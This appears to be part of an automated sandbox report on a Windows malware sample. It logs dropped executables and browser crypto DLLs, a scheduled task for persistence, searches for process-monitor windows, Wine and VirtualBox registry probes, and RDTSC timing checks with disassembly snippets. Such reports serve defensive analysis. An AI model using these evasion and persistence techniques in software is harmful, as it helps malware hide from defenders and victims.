Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_0124095A push es; iretd	0_3_01240979
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_0124095A push es; iretd	0_3_01240979
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01246BB9 push ecx; ret	0_3_01246BC1
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01246BB9 push ecx; ret	0_3_01246BC1
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01246BB9 push ecx; ret	0_3_01246BC1
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01246BB9 push ecx; ret	0_3_01246BC1
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01246BB9 push ecx; ret	0_3_01246BC1
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01246BB9 push ecx; ret	0_3_01246BC1
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01246BB9 push ecx; ret	0_3_01246BC1
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01240BE0 push ebp; iretd	0_3_01240BE1
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01240BE0 push ebp; iretd	0_3_01240BE1
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01240BE0 push ebp; iretd	0_3_01240BE1
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01240BE0 push ebp; iretd	0_3_01240BE1
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01240BE0 push ebp; iretd	0_3_01240BE1
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01240BE0 push ebp; iretd	0_3_01240BE1
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01240BE0 push ebp; iretd	0_3_01240BE1

Source: iUKUR1nUyD.exe	Static PE information: section name: entropy: 7.9824607911183225
Source: iUKUR1nUyD.exe	Static PE information: section name: qppoenam entropy: 7.953050880306917
Source: BAAFBFBAAK.exe.4.dr	Static PE information: section name: entropy: 7.049220567675792
Source: random[1].exe.4.dr	Static PE information: section name: entropy: 7.049220567675792
Source: skotes.exe.16.dr	Static PE information: section name: entropy: 7.049220567675792

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

File created: C:\Users\user\Documents\BAAFBFBAAK.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File created: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Jump to dropped file
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File created: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\Users\user\Documents\BAAFBFBAAK.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\BAAFBFBAAK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95C433 second address: 95C449 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jl 00007FB570775C56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jnp 00007FB570775C56h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95449D second address: 9544A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9544A1 second address: 9544B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB570775C56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9544B3 second address: 9544B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9544B7 second address: 9544C2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95B523 second address: 95B52A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95B6F8 second address: 95B700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95D6D9 second address: 95D6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95D759 second address: 95D75D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95D75D second address: 95D763 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95D763 second address: 95D772 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB570775C5Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95D772 second address: 95D7D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 3BAD20C8h 0x0000000e mov edi, ecx 0x00000010 push 00000003h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007FB57088F9D8h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov ecx, dword ptr [ebp+122D2849h] 0x00000032 push 00000000h 0x00000034 movzx ecx, bx 0x00000037 mov edi, dword ptr [ebp+122D27E5h] 0x0000003d push 00000003h 0x0000003f mov edx, dword ptr [ebp+122D296Dh] 0x00000045 sub dword ptr [ebp+122D2602h], edi 0x0000004b call 00007FB57088F9D9h 0x00000050 pushad 0x00000051 pushad 0x00000052 push ebx 0x00000053 pop ebx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95D7D5 second address: 95D7F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007FB570775C67h 0x0000000b jmp 00007FB570775C61h 0x00000010 popad 0x00000011 push eax 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95D7F8 second address: 95D7FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95D7FC second address: 95D800 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95D800 second address: 95D82D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ecx 0x0000000c jmp 00007FB57088F9DBh 0x00000011 pop ecx 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007FB57088F9DAh 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push edi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95D82D second address: 95D831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95D9C9 second address: 95DA00 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB57088F9E5h 0x00000008 jmp 00007FB57088F9DFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FB57088F9E8h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95DA00 second address: 95DA0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB570775C5Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95DA0E second address: 95DA12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95DA12 second address: 95DA3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov cx, si 0x0000000c lea ebx, dword ptr [ebp+124585EBh] 0x00000012 push ebx 0x00000013 mov di, 5A00h 0x00000017 pop esi 0x00000018 sbb ecx, 0B11962Ah 0x0000001e push eax 0x0000001f pushad 0x00000020 push ebx 0x00000021 jp 00007FB570775C56h 0x00000027 pop ebx 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95DA94 second address: 95DAA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007FB57088F9DCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95DAA9 second address: 95DAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 95DAAD second address: 95DB04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D1B54h], edi 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FB57088F9D8h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov cx, dx 0x00000030 pushad 0x00000031 mov ecx, dword ptr [ebp+122D28FDh] 0x00000037 mov esi, dword ptr [ebp+122D1C08h] 0x0000003d popad 0x0000003e push 57F178F4h 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 jno 00007FB57088F9D6h 0x0000004c rdtsc
